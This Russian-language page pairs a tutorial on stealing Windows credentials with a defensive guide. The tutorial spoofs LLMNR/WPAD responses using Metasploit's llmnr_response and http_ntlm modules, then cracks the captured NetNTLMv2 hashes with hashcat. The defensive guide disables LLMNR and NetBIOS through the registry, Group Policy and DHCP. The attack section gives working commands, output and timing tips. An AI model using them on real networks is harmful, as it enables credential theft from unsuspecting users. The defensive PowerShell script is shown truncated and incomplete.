- Как получить учетные записи в Windows через протокол LLMNR
- Отключение протоколов NetBIOS и LLMNR в Windows с помощью GPO
- Протокол LLMNR
- Протокол NetBIOS over TCP/IP
- Отключение протокола LLMNR с помощью GPO
- Отключение протокола NetBIOS over TCP/IP в Windows 10
- Как отключить NetBIOS через групповые политики?
Как получить учетные записи в Windows через протокол LLMNR
Некоторое время назад мой коллега Педро написал статью, где описал очень полезную технику, которую можно использовать для получения учетных записей после того, как только вы получили доступ к сети.
Некоторое время назад мой коллега Педро написал статью, где описал очень полезную технику, которую можно использовать для получения учетных записей после того, как только вы получили доступ к сети.
Суть метода заключалась в прослушивании широковещательных запросов, связанных с преобразованием имен, передаваемых по протоколу NetBIOS. В качестве ответа злоумышленник подменяет IP-адрес, заставляя жертву подключиться в нужное место. Техника может быть полезна в том случае, если вы хотите получить учетные записи пользователя и управляете сервером, на котором находится запрашиваемая веб-страница. Вы настраиваете сервер так, чтобы спровоцировать NT-аутентификацию, и пользователь, ни о чем не подозревая, отправляет вам свои учетные данные.
Недавно я выяснил, что подобную атаку можно осуществить и на протокол LLMNR, который используется в Windows 7 и более поздних версиях.
Что такое LLMNR
Звучит как заболевание, устойчивое к микробам, не так ли? На самом деле, эта аббревиатура расшифровывается как Local Loop Multicast Name Resolution. «Ок, зачем нужен этот протокол?», — спросите вы. Это легковесная служба имен, использующая группу абонентов (multicast group) для поиска и преобразования базовых имен внутри небольшой сети. Одно из главных преимуществ заключается в том, что этот протокол корректно работает и в сети IPv4 и в сети IPv6, что выглядит примерно так:
Рисунок 1: Схема работы протокола LLMNR
Внимательные читатели заметят, что запрос, показанный выше, отсылается в сети IPv6 (запрос на преобразование ff02::1:3). В сети IPv4 запрос будет отправлен на IP-адрес 224.0.0.252. Поскольку используется мультикастинг, запрос отправится в сеть (обычно просто в локальный сегмент).
В Windows подобная схема именуется как Сетевое обнаружение (Network Discovery) и может быть включена в Центре управления сетями и общим доступом.
Рисунок 2: Настройка сетевого обнаружения
Проблемы в протоколе LLMNR
У протокола LLMNR те же самые проблемы, что и в NetBIOS. Служба имен отсылает сообщение всем клиентам в сети, а не конкретному серверу. Это означает, что клиент неявно доверяет всем, кого видит.
Наша задача заключается в прослушивании запросов к хосту и перенаправлении этих запросов к подконтрольному нам серверу. После соединения мы запрашиваем аутентификацию, и Windows с превеликим удовольствием отсылает нам учетные данные.
Для решения этой задачи мы можем использовать автоматический прокси-сервер, предусмотренный в Internet Explorer. Когда вы запускаете Internet Explorer с настройкой автоматического прокси-сервера, на хост отсылается запрос «wpad», а после соединения с хостом скачивается файл wpad.dat. Более подробно об этой технологии рассказывает русскоязычная и англоязычная Википедия.
Windows 7+ делает запрос wpad через следующие протоколы:
- DNS (одноадресный запрос wpad)
- NetBIOS (широковещательный запрос WPAD)
- LLMNR (многоадресный запрос wpad)
Поскольку по протоколу DNS идет одиночный запрос, мы должны осуществить атаку типа «Человек посередине». О NetBIOS уже говорилось в других статьях. Я же хочу коснуться протокола LLMNR.
Как было сказано выше, мы перенаправляем запрос на подконтрольный нам сервер, запрашиваем аутентификацию и ждем, когда нам пришлют учетную запись.
Рассмотрим суть происходящего через Wireshark:
Рисунок 3: Запросы, отправляемые по протоколу LLMNR
На рисунке выше показаны запросы, отправляемые по протоколу LLMNR для сети IPv4 (записи типа A) и для сети IPv6 (записи типа AAAA). Кроме того, показаны запросы к файлу wpad.dat и попытка аутентификации.
Как и в случае с NetBIOS мы будем использовать Metasploit. Наш пример чуть более сложен по сравнению со стандартными эксплоитами, поскольку нужно запустить два вспомогательных модуля.
Во-первых, нужно настроить веб-сервер, на который будут приходить хеши паролей. Используем модуль auxiliary/server/capture/http_ntlm:
msf > use auxiliary/server/capture/http_ntlm
msf auxiliary(http_ntlm) > set johnpwfile /root/out.txt
johnpwfile => /root/out.txt
msf auxiliary(http_ntlm) > set srvhost 192.168.0.100
srvhost => 192.168.0.100
msf auxiliary(http_ntlm) > set srvport 80
srvport => 80
msf auxiliary(http_ntlm) > exploit
[*] Auxiliary module execution completed
[*] Using URL: http://192.168.0.100:80/AuGOLjaEu2L1VE
[*] Server started.
Вышеуказанный модуль запускает веб-сервер, который ожидает URL, запрашивает аутентификацию и хранит полученные хеши. (NT-аутентификация состоит из трех шагов).
Мы можем обратиться к новому веб-серверу через обычный браузер, и тут нет ничего выдающегося, поскольку нашу поддельную страницу пользователь не увидит.
Рисунок 4: Поддельная страница, на которую будет перенаправляться пользователь
Теперь нам нужно нечто, что позволит наладить взаимодействие с веб-сервером. Используем модуль auxiliary/spoof/llmnr/llmnr_response module:
msf auxiliary(http_ntlm) > use auxiliary/spoof/llmnr/llmnr_response
msf auxiliary(llmnr_response) > set interface eth2
interface => eth2
msf auxiliary(llmnr_response) > set spoofip 192.168.0.100
spoofip => 192.168.0.100
msf auxiliary(llmnr_response) > set regex wpad
regex => wpad
msf auxiliary(llmnr_response) > exploit
[*] Auxiliary module execution completed
[*] LLMNR Spoofer started. Listening for LLMNR requests with REGEX «(?-mix:wpad)» .
Мы установили мультикастовый listener, который будет слушать запросы «wpad» по протоколу LLMNR и в ответ на эти запросы отсылать IP-адрес созданного ранее веб-сервера.
На какое-то время оставьте запущенную связку модулей до тех пор, пока люди не откроют Internet Explorer и не начнут запрашивать файл wpad. Наиболее подходящее время – середина утра или обеденное время. В итоге вы получите файл, заполненный запросами на NT-аутентификацию.
Следующий шаг – расшифровка полученных хешей при помощи John the Ripper (jumbo patch) или, если у вас есть быстрая графическая карта, hashcat.
Вначале отфильтруем машинные аккаунты. Машинный аккаунт представляет собой NT-аккаунт, используемый компьютером для аутентификации при помощи учетной записи домена. Подобные учетные записи оканчивается символом ‘$’ (например, ASPHODEL$). В качестве фильтра используем следующую команду:
grep –v ‘\$:’ out.txt >filtered.txt
Затем указываем тип хеша 5600 (NetNTLMv2) и подбираем пароли при помощи hashcat:
c:\tools\passwords\hashcat>cudahashcat64 -m 5600 out.txt —remove —session llmnr ..\dictionaries
Как защититься от этой угрозы
Самый простой способ защиты – отключить протокол LLMNR, что необходимо сделать для каждого сетевого профиля. В панели управления зайдите в раздел Network and Sharing Center > Change Advanced Sharing Settings > profile > Network discovery и установить флажок «Turn off network discovery».
То же самое можно сделать через групповую политику: Administrative Templates > Network > Link-Layer Topology Discovery.
Помимо упомянутых настроек можно отключить автоматический прокси-сервер и указать принудительное использование конкретного адреса в качестве прокси.
Отключение протоколов NetBIOS и LLMNR в Windows с помощью GPO
Широковещательные протоколы NetBIOS over TCP/IP и LLMNR являются устаревшими и в большинстве современных сетей они используются только для совместимости с legacy версиями Windows. Оба протокола подвержены спуфингу и атакам MITM. В том же Metasploit есть готовые модули, позволяющие легко использовать уязвимости в широковещательных протоколах NetBIOS и LLMNR для перехвата учетных данных пользователей в локальной подсети (в т.ч. можно получить хэши NTLMv2). Для повышения безопасности необходимо отключать эти старые протоколы в доменной сети. Разберемся, как отключить протоколы LLMNR и NetBIOS в Windows 10/Windows 2016 вручную или через групповые политики.
Протокол LLMNR
LLMNR (UDP/5355, Link-Local Multicast Name Resolution — механизм широковещательного разрешения имен) – протокол присутствует во всех версиях Windows, начиная с Vista и позволяет IPv6 и IPv4 клиентам разрешать имена соседних компьютеров без использования DNS сервера за счет широковещательных запросов в локальном сегменте сети L2. Этот протокол также автоматически используется при недоступности DNS (в рабочих группах Windows этот протокол используется для сетевого обнаружения/Network Discovery). Соответственно, при работающих DNS-серверах в домене, этот протокол абсолютно не нужен.
Протокол NetBIOS over TCP/IP
Протокол NetBIOS over TCP/IP или NBT-NS (UDP/137,138;TCP/139) – является широковещательным протоколом-предшественником LLMNR и используется в локальной сети для публикации и поиска ресурсов. Поддержка NetBIOS over TCP/IP по умолчанию включена для всех интерфейсов во всех версиях Windows.
В Windows вы можете вывести статистику протокола NetBIOS и текущий подключений TCP/IP по NBT с помощью команды nbtstat. Чтобы по IP адресу получить имя компьютера, выполните:
nbtstat -A 192.168.31.90
Как вы видите, утилита с помощью NetBIOS обнаружила в локальной сети компьютер и вернула его имя.
Можете вывести все записи о соседних компьютерах в локальных сети в кэше NetBIOS:
Протоколы NetBIOS и LLMNR позволяют компьютерам в локальной сети найти друг друга при недоступности DNS сервера. Возможно они и нужны в рабочей группе, но в доменной сети оба этих протокола можно отключить.
Отключение протокола LLMNR с помощью GPO
Можно отключить LLMNR на компьютере Windows локально через реестр с помощью следующей команды PowerShell:
New-Item «HKLM:\SOFTWARE\Policies\Microsoft\Windows NT» -Name DNSClient -Force
New-ItemProperty «HKLM:\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient» -Name EnableMultiCast -Value 0 -PropertyType DWORD -For ce
В доменной среде широковещательные запросы LLMNR на компьютерах и серверах домена проще отключить с помощью групповой политики. Для этого:
- В консоли GPMC.msc создайте новую или отредактируйте имеющуюся политику, применяемую ко всем рабочим станциям и серверам;
- Перейдите в раздел Computer Configuration -> Administrative Templates -> Network -> DNS Client;
- Включите политику Turn off smart multi-homed name resolution, изменив ее значение на Enabled;
- Дождитесь обновления параметров GPO на клиентах или обновите их вручную командой gpupdate /force .
Отключение протокола NetBIOS over TCP/IP в Windows 10
Вы можете отключить NetBIOS в Windows вручную:
- Откройте свойства сетевого подключения;
- Выберите протокол TCP/IPv4 и откройте его свойства;
- Нажмите кнопку Advanced, затем перейдите на вкладку WINS и выберите опцию Disable NetBIOS over TCP (Отключить NetBIOS через TCP/IP);
- Сохраните изменения.
Если у вас на компьютере несколько сетевых интерфейсов (или отдельных VLAN), нужно будет отключить NetBIOS в свойствах каждого их них.
Вы можете проверить статус NetBIOS over TCP/IP для сетевых адаптеров из командной строки Windows:
ipconfig /all |find «NetBIOS»
Отключить поддержку NetBIOS для конкретного сетевого адаптера можно и из реестра. Для каждого сетевого адаптера компьютера есть отдельная ветка с его TCPIP_GUID внутри HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NetBT\Parameters\Interfaces.
Чтобы отключить NetBIOS для конкретного сетевого адаптера, нужно открыть его ветку и изменить значение параметра NetbiosOptions на 2 (по умолчанию значение – 0).
На клиентах домена, получающих IP адреса с DHCP на Windows Server, вы можете отключить NetBIOS через настройку опций DHCP сервера.
- Для этого откройте консоль dhcpmgmt.msc и выберите настройки зоны Scope Option (или сервера – Server Options);
- Перейдите на вкладку Advanced, в выпадающем списке Vendor class выберите Microsoft Windows 2000 Options;
- Включите опцию 001 Microsoft Disable Netbios Option и измените ее значение на 0x2.
Как отключить NetBIOS через групповые политики?
В редакторе групповых политик или последней версии административных шаблонов для Windows 10/Windows Server 2019 нет отдельного параметра, позволяющего отключить протокол NETBIOS over TCP/IP для всех сетевых адаптеров компьютера. Чтобы отключить NETBIOS для всех адаптеров компьютера воспользуйтесь таким логон скриптом PowerShell.
$regkey = «HKLM:SYSTEM\CurrentControlSet\services\NetBT\Parameters\Interfaces»
Get-ChildItem $regkey |foreach
Сохраните этот код в файл disableNetbios.ps1, скопируйте его в каталог вашей GPO и запускайте на клиентах через Computer Configuration -> Policies -> Windows Settings -> Scripts -> Startup- > PowerShell Scripts.
Затем откройте командную строку и проверьте, что NetBIOS отключен для ваших сетевых адаптеров (кроме туннельных интерфейсов):
wmic nicconfig get caption,index,TcpipNetbiosOptions